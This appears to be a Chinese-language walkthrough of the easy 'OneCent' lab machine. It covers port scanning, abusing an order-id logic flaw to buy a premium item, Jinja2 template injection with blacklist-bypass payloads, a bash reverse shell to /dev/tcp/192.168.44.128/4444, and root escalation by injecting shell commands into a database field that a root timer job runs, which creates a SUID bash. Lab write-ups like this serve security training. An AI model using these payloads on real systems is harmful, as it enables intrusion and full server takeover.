

OneCent

靶机: OneCent

作者: Twansh (QQ: 2911074311)

靶机ID: 625

系统: Linux

难度: Easy

信息收集

```
(root@kali)~# ./rustscan -a 192.168.44.233
.....
| {} | {} | { { _ { _ } { { _ / _ } / {} \ | \ |
| .- \ | {} | .- } } | | .- } } \ \ _ } / \ \ \ |
| \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
The Modern Day Port Scanner.
-----
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
-----
🌐HACK THE PLANET🌐

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker im
Open 192.168.44.233:22
Open 192.168.44.233:80
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-04 01:19 EDT
Initiating ARP Ping Scan at 01:19
```

80端口探测

是一个OneCent的在线商城的站点，注册登录上去发现是有两个商品，一个可以买一个不行，应该是逻辑漏洞的tips了，抓包看传参情况

逻辑漏洞

因为购买物品之前要生成订单，那就可以尝试用1刀的订单号，去买黑卡的商品号

request

Pretty Raw Hex MarkInfo

```
1 POST /checkout HTTP/1.1
2 Host: 192.168.44.233
3 Content-Length: 24
4 Cache-Control: max-age=0
5 Accept-Language: zh-CN,zh;q=0.9
6 Origin: http://192.168.44.233
7 Content-Type: application/x-www-form-urlencoded
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,ap
11 Referer: http://192.168.44.233/shop
12 Accept-Encoding: gzip, deflate, br
13 Cookie: onecent_session=eyJlc2VyX2lkIjoxN30. adCgzg.XKog1ReQ9ElZUguD0BtFvwyQ_o8
14 Connection: keep-alive
15
16 product_id=1&quote_id=19
```

OneCent
在线商城

首页 商品 商家中心 余额: \$0.00 xixi 退出

支付成功。已按 1.00 美元结算商品: 黑金商家年卡。

FEATURED PICKS

今日商品

先点击“生成订单编号”，系统会为当前商品生成一笔待支付订单。随后你可以直接提交购买请求完成结算。

当前余额
\$0.00

当前模式
订单编号购买

商品数量
2 件

热卖商品 starter_box

新客体验包

适合首次下单体验 含基础会员权益与标准购

热卖商品 admin_vip

黑金商家年卡

面向品牌商家的全年高级席位 开通后可进入

购买说明

- 每次购买都需要先生成新的订单编号，历史编号不会自动复用。
- 体验余额仅用于演示下单流程，不能充值，也不会自动增加。

现在就有权进入商家中心，就是/admin的路由

ssti

进来发现有一个模板渲染的，那就想到ssti

MERCHANT CENTER

商家中心

这里可以预览站内消息模板，也可以查看导出任务的执行状态。部分模板变量会在服务端渲染后直接展示结果。

当前席位

黑金商家年卡

模板服务

已启用

导出任务

自动执行

消息模板预览

您好，您的订单已经生成，请及时查看。

渲染预览

渲染结果

暂时还没有生成预览内容。

登录成功。

FEATURED PICKS

今日商品

消息模板预览

{{7*7}}

渲染预览

可用变量示例: {{ user.username }}, {{ invoice.id }}, {{ company.name }}

技术

更多信息

↓ Export

Web 服务器



gunicorn

编程语言



Python

有错误或缺少内容?

Connect Wappalyzer to your CRM ^

渲染结果

49

预览结果已根据提交的模板更新。

引擎判断

消息模板预览

{{config}}

渲染预览

可用变量示例: {{ user.username }}, {{ invoice.id }}, {{ company.name }}

渲染结果

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'onecent-static-secret', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'onecent_session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

消息模板预览

{{ config["SECRET_KEY"] }}

渲染预览

可用变量示例: {{ user.username }}, {{ invoice.id }}, {{ company.name }}

渲染结果

onecent-static-secret

预览结果已根据提交的模板更新。

消息模板预览

```
{{ cyclor }}
```

渲染预览

可用变量示例:

```
{{ user.username }}
```

,

```
{{ invoice.id }}
```

,

```
{{ company.name }}
```

渲染结果

```
<class 'jinja2.utils.Cycler'>
```

预览结果已根据提交的模板更新。

黑名单判断

测试发现存在ssti, 但是同时也存在黑名单__, os, popen, globals, 但是好像是字符串替换, 那就可以进行绕过

\x5f\x5f 绕过 __

'glo' ~ 'bals' 绕过 globals

'o' ~ 's' 绕过 os

'po' ~ 'pen' 绕过 popen

payload

```
{{ ((cyclor|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5f' ~ 'glo' ~ 'bals' ~ '\x5f\x5f'))['o'~'s']|attr('po'~'pen')("id")|attr('read')) }}
```

```
{{ ((cyclor|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5f' ~ 'glo' ~ 'bals' ~ '\x5f\x5f'))['o'~'s']|attr('po'~'pen')("bash -c 'bash -i >&/dev/tcp/192.168.44.128/4444 0>&1' 2>&1")|attr('read')) }}
```

权限提升

root 定时任务

```
systemctl list-timers --all
```

NEXT	LEFT	LAST	PASSED	UNIT	ACTIVATES
Sat 2026-04-04 03:58:36 EDT	24s left	Sat 2026-04-04 03:57:36 EDT	35s ago	vip-reconcile.timer	vip-reconcile.service
Sat 2026-04-04 04:09:00 EDT	10min left	Sat 2026-04-04 03:42:40 EDT	15min ago	phpsessionclean.timer	phpsessionclean.service
Sat 2026-04-04 05:11:46 EDT	1h 13min left	Tue 2025-04-01 10:06:28 EDT	1 years 0 months ago	apt-daily.timer	apt-daily.service
Sat 2026-04-04 06:52:11 EDT	2h 53min left	Sat 2026-04-04 01:04:00 EDT	2h 54min ago	apt-daily-upgrade.timer	apt-daily-upgrade.service
Sun 2026-04-05 00:00:00 EDT	20h left	n/a	n/a	logrotate.timer	logrotate.service
Sun 2026-04-05 02:29:00 EDT	22h left	Sat 2026-04-04 01:33:19 EDT	2h 24min ago	systemd-tmpfiles-clean.timer	systemd-tmpfiles-clean.service

6 timers listed.

```
Aristore@onecent:/opt/onecent/app$ systemctl cat vip-reconcile.service
systemctl cat vip-reconcile.service
# /etc/systemd/system/vip-reconcile.service
[Unit]
Description=OneCent VIP reconciliation job
After=network.target

[Service]
Type=oneshot
ExecStart=/usr/local/bin/reconcile_jobs.py
Aristore@onecent:/opt/onecent/app$
```

```
#!/usr/bin/env python3
```

```
import os
import sqlite3
import subprocess
```

```
DB_PATH = "/opt/onecent/data/onecent.db"
BACKUP_ROOT = "/var/backups/onecent"
```

```
def main():
    os.makedirs(BACKUP_ROOT, exist_ok=True)
    conn = sqlite3.connect(DB_PATH)
    conn.row_factory = sqlite3.Row

    rows = conn.execute(
        """
        SELECT id, job_name, source_path, output_name
        FROM export_jobs
        WHERE status = 'queued'
        ORDER BY id ASC
        """
    ).fetchall()

    for row in rows:
        command = f"/usr/bin/tar -cf {BACKUP_ROOT}/{row['output_name']}.tar {row['source_path']}"
        subprocess.run(command, shell=True, check=False)
        conn.execute(
            "UPDATE export_jobs SET status = 'done', updated_at = CURRENT_TIMESTAMP WHERE id = ?",
            (row["id"],),
        )
```

```
conn.commit()
conn.close()
```

```
if __name__ == "__main__":
    main()
```

```
    ).fetchall()

    for row in rows:
        command = f"/usr/bin/tar -cf {BACKUP_ROOT}/{row['output_name']}.tar
{row['source_path']}"
        subprocess.run(command, shell=True, check=False)
        conn.execute(
            "UPDATE export_jobs SET status = 'done', updated_at =
```

读取数据库的内容归档去执行命令,思路是把自己 `export_jobs.output_name`改成:
`x;cp /bin/bash /tmp/bash_<user>;chmod u+s /tmp/bash_<user> # 这样 timer 跑时会
root 创建 SUID bash。`

也就是去执行sqlite3的sql语句去修改onecent.db, 然后等他定时执行就好了

```
sqlite3 /opt/onecent/data/onecent.db "  
update export_jobs set output_name='x;cp /bin/bash {suid};chmod u+s {suid} #',  
status='queued' where user_id=(select id from users where  
username='{user}');\" 2>&1
```

```
uid=1000(Aristore) gid=1000(Aristore) euid=0(root) groups=1000(Aristore)
```